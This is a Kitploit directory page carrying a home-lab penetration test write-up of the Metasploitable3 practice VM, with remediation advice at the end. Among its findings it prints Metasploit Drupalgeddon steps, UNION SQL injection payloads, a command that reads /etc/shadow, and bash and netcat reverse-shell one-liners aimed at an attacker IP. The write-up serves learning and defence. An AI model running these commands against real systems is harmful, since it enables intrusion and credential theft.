Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
metasploitable3-pentest-writeup — Home-lab penetration test report of Metasploitable3 covering Nmap recon, Drupalgeddon RCE, SQL injection, SSH credential reuse, sudo privilege escalation, and reverse shells. | Kitploit
Tools/GitHubGitHub/adfortunato/metasploitable3-pentest-writeup
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration Testing

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Learning & Education
Labs & Practice
GitHubadfortunato/metasploitable3-pentest-writeup

metasploitable3-pentest-writeup

Home-lab penetration test report of Metasploitable3 covering Nmap recon, Drupalgeddon RCE, SQL injection, SSH credential reuse, sudo privilege escalation, and reverse shells.

View Repository
2420 days agoNot yet reviewed

Metasploitable3 — Penetration Test Report

Author: Arlen Fortunato
Date: September 2026
Environment: Parrot OS (attacker) → Metasploitable3 Ubuntu 14.04 (target)
Scope: Full network penetration test — enumeration, exploitation, privesc, post-exploitation
Type: Home Lab / Capture The Flag Practice

⚠️ All credentials below are redacted. This was a legal, isolated home-lab exercise.


Tools Used

ToolRole
NmapPort scan, service/version detection, OS fingerprint
Metasploit (msfconsole)Exploitation (CVE-2014-3704), session management
msfvenomPayload generation (bash/netcat reverse shells)
nc (netcat)Reverse shell listener
curl / sedManual SQLi crafting + HTML output formatting
ssh / scpRemote access, credential validation
openssl s_clientTLS/SSL service verification
gobusterDirectory brute-forcing (web enumeration)

Reconnaissance — Nmap Full Port Scan

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
PortStateServiceVersion
21/tcpopenFTPProFTPD 1.3.5
22/tcpopenSSHOpenSSH 6.6.1p1
80/tcpopenHTTPApache httpd 2.4.7 (Ubuntu)
445/tcpopenSMBSamba smbd 3.X–4.X
631/tcpopenIPPCUPS 1.7
3306/tcpopenMySQLMySQL (unauthorized)
3500/tcpopenHTTPWEBrick httpd 1.3.1 (Ruby 2.3.8)
6697/tcpopenIRCUnrealIRCd
8080/tcpopenHTTPJetty 8.1.7.v20120910

OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64


Findings Summary

#VulnerabilityCVE / TypePortSeverityResult
1UnrealIRCd version fingerprint — backdoor probeCVE-2010-20756697⚠️ False positiveModule auto-check passed, manual probe failed — backdoor absent in build
2Drupal 7.5 — Drupageddon RCECVE-2014-370480🔴 CriticalMeterpreter shell as www-data
3Payroll app — UNION SQLi (manual)Manual injection80🔴 CriticalFull DB dump (15 users, plaintext passwords — redacted)
4SSH — default + reused credentialsDefault / credential reuse22🔴 Criticalvagrant (NOPASSWD sudo), luke_skywalker (sudo ALL)
5Privilege escalation (two paths)Misconfigured sudoN/A🔴 Criticalroot via both accounts
6Shadow dumpPost-exploitationN/A🔴 Critical16 md5crypt hashes extracted
7Reverse shells (bash + netcat)msfvenom / manual crafting4444/4445🟠 HighInteractive shells caught on attacker listener

Finding Details

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — False Positive

Vulnerability: UnrealIRCd 3.2.8.1 was historically distributed with a trojaned binary that executes arbitrary commands when an unauthenticated client sends a trigger string before registration — RCE as the IRC daemon user.

Exploitation attempt: Metasploit module exploit/unix/irc/unreal_ircd_3281_backdoor with payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Module auto-check reported the service as vulnerable; no session returned on any payload.

Troubleshooting performed:

  • Port reachable (nc -vz)
  • Port confirmed plaintext IRC, not TLS (openssl s_client)
  • Manual reverse connect-back from target confirmed outbound networking works
  • Manual backdoor trigger over nc returned IRC protocol error 451 — command parsed as IRC command, never executed

Conclusion: Version banner indicates the vulnerable build, but the backdoor is absent in this instance (clean/recompiled binary). Classified non-exploitable — false positive, with evidence.


2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Vulnerability: Drupal 7.x before 7.32 contains a critical SQL injection in the database abstraction layer enabling unauthenticated remote code execution.

Version confirmation: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Exploitation:

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Result:

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Post-exploitation enumeration:

  • /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
  • /home: 16 user accounts

3. Payroll App — UNION-Based SQL Injection (Manual)

Vulnerability: payroll_app.php login form, SQL injection in password field. No automation used — crafted via curl.

Step 1 — Authentication bypass:

' or 1=1#

' closes the SQL string, or 1=1 forces true, # comments out the trailing quote.

Step 2 — Column count + display mapping:

' UNION SELECT null, null, null, null#     -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4#                 -- markers: 1=Username, 2=First, 3=Last, 4=Salary

Step 3 — information_schema enumeration:

QuestionAnswer
DB version / userMySQL 5.5.62, root@localhost
Databasesinformation_schema, drupal, mysql, payroll, performance_schema
Tables in payrollusers
Columns in usersusername, first_name, last_name, password, salary

Step 4 — Dump (passwords redacted):

' UNION SELECT username, password, salary, null FROM users#
UsernamePasswordSalary
leia_organa[REDACTED]9560
luke_skywalker[REDACTED]1080
han_solo[REDACTED]1200
artoo_detoo[REDACTED]22222
boba_fett[REDACTED]20000
greedo[REDACTED]50000
(+ 9 more accounts)[REDACTED]—

4. SSH — Default Credentials & Credential Reuse

Path 1 — Default account: default vagrant credential pair authenticated over SSH → user in sudo group with (ALL : ALL) NOPASSWD: ALL.

Path 2 — Credential reuse: credentials harvested from the SQLi dump authenticated directly over SSH as another lab user (luke_skywalker, sudo group, (ALL : ALL) ALL).

Significance: demonstrates cross-service credential reuse — application credentials mapped to a system account.


5. Privilege Escalation (Two Paths)

  • Path A: vagrant → sudo -l shows NOPASSWD: ALL → sudo su - → uid=0(root).
  • Path B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

No local exploit required — both accounts hold overly permissive sudo grants.


6. Shadow Dump

sudo cat /etc/shadow

Extracted 16 md5crypt ($1$) hashes — full credential harvesting post-privesc.


7. Post-Exploitation — Reverse Shells

Payload 1 — bash:

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Caught on nc -lnvp 4444 → interactive shell.

Payload 2 — netcat (named-pipe):

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Caught on nc -lnvp 4445 → interactive shell.

Mechanism: named pipe (FIFO) bridges netcat stdin/stdout to /bin/sh, forming a single-socket bidirectional tunnel; FIFO cleaned up afterward.


Remediation Recommendations

FindingRecommendation
UnrealIRCd version fingerprintVerify binary source integrity (checksums); upgrade or remove
Drupal 7.5Upgrade to latest stable; apply SA-CORE-2014-005
Payroll SQLiParameterized queries / prepared statements; validate input
Default SSH credentialsRotate/remove default accounts; enforce key-based auth
Sudo over-privilegeApply least privilege; remove NOPASSWD blanket grants
Credential reuseEnforce unique passwords per service; password policy
Weak password hashingMigrate md5crypt → bcrypt / Argon2id

Disclaimer

Download Tool